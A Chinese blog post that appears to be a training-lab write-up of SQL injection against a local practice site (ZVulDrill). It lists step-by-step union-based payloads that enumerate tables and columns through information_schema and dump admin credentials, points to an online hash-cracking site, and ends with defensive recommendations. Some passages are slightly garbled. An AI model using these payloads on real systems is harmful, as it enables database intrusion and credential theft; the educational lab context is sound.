飚尘叔叔

博客园 首页 联系 订阅 管理

漏洞名称:SQL注入漏洞

漏洞描述:SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

漏洞网址:http://127.0.0.1/ZV/

漏洞截图:

 

 

 

输入一个错误语句来确定是字符型还是数字型 id=1 and 1=2

 

 

 

输入错误语句后正常显示,说明是字符型

 

 

 

输入 显示位出现报错。得出此字符型位号。

 

输入语句:order by 5(查询表没有没有5) 23%是为了与后面的注释

 

 

 

发现输入后显示位出现不正常显示说明没有5列。尝试得出4列。

 

 

 

输入语句:union select 1,database(),version(),4 %23 在第23个显示位显示数据库和版本号

 

 

 

版本号是5.5.53MySQL数据库5.0版本以上固定的一个库information_schemas

输入语句:

The result for1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() %23 (在第2显示位显示information_schema数据库下的表名)

 

 

 

得到数据库下的表名为:admin ,comment, users

输入语句:

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='admin' %23

(显示在information_schema数据库下的users表里的字段)

 

 

 

得到users表里的字段:user_id,user_name,user_pass,user_avatar,user_bio,join_date

输入语句:

union select 1,group_concat(admin_name),group_concat(admin_pass),4 from zvuldrill.admin %23

 

 

 

得到最终的账户和密码。但是密码被乱码代替了。 

打开转换网址:https://www.cmd5.com/

 

 

 

修复建议:(1)系统安全扫描:采用商用系统漏洞扫描工具或者开源SQL注入漏洞扫描工具,检测系统SQL注入漏洞,在上线前尽量消除这些漏洞。

(2)WAF/NGFW。采用商业的或者开源的WAF/NGFW,部分阻止SQL注入漏洞。

(3)数据库防火墙。由于SQL注入特征在数据库访问SQL语句上会被放大,从而,在数据库前端部署数据库防火墙,理论上能够根治SQL注入漏洞。

验证思路:所有的网址输入栏都可以尝试SQL注入,一些特定的情况下尝试在HackBar里输入。

ckBar里输入。

 
posted on 2019-10-21 17:23  飚尘叔叔  阅读(282)  评论(0编辑  收藏  举报